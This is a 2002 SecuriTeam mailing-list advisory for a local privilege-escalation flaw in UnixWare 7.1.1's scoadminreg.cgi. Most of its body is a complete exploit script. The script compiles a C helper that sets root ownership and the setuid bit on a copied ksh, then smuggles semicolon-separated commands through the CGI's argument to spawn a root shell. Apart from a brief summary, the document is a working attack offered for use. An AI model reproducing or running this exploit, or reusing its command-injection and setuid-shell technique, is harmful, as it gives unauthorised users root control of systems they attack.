[EXPL] UnixWare 7.1.1 Scoadminreg.cgi Local Exploit

From: support@securiteam.com
Date: 01/25/02 

From: support@securiteam.com
To: list@securiteam.com
Date: Fri, 25 Jan 2002 10:34:57 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
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  UnixWare 7.1.1 Scoadminreg.cgi Local Exploit
------------------------------------------------------------------------

SUMMARY

Scoadminreg.cgi is used when changing of the hostname of UnixWare's
operating system. The CGI is part of the UnixWare 7 Webtop package that is
actually a web-based interface that allows a UnixWare 7 system to be
accessed remotely over the company Intranet. A security vulnerability in
the CGI has been found, the vulnerability allows a local attacker to gain
root access to the UnixWare host.

DETAILS

Exploit:
#!/bin/sh

CC="gcc"
SCOADMIN=/opt/webtop/bin/i3un0212/cgi-
bin/admin/scoadminreg.cgi

#
#
#
#

echo
echo "jGgM root exploit"
echo "http://www.netemperor.com/"
echo
echo "Mail: jggm@mail.com"
echo

if [ ! -x $SCOADMIN ]; then
   echo "$SCOADMIN file not found"
   exit 2;
fi

cat >/tmp/jggm.c <<_EOF

main()
{
   setuid(0);
   setgid(0);
   chown("/tmp/jGgM_Shell", 0, 0);
   chmod("/tmp/jGgM_Shell", 04755);
}
_EOF

cp /bin/ksh /tmp/jGgM_Shell
$CC -o /tmp/jggm /tmp/jggm.c

$SCOADMIN "-c /tmp/jggm;/tmp/jggm;"

rm -rf /tmp/jggm /tmp/jggm.c

/tmp/jGgM_Shell

# end of file..

ADDITIONAL INFORMATION

The information has been provided by <mailto:jggm@mail.com> jGgM.

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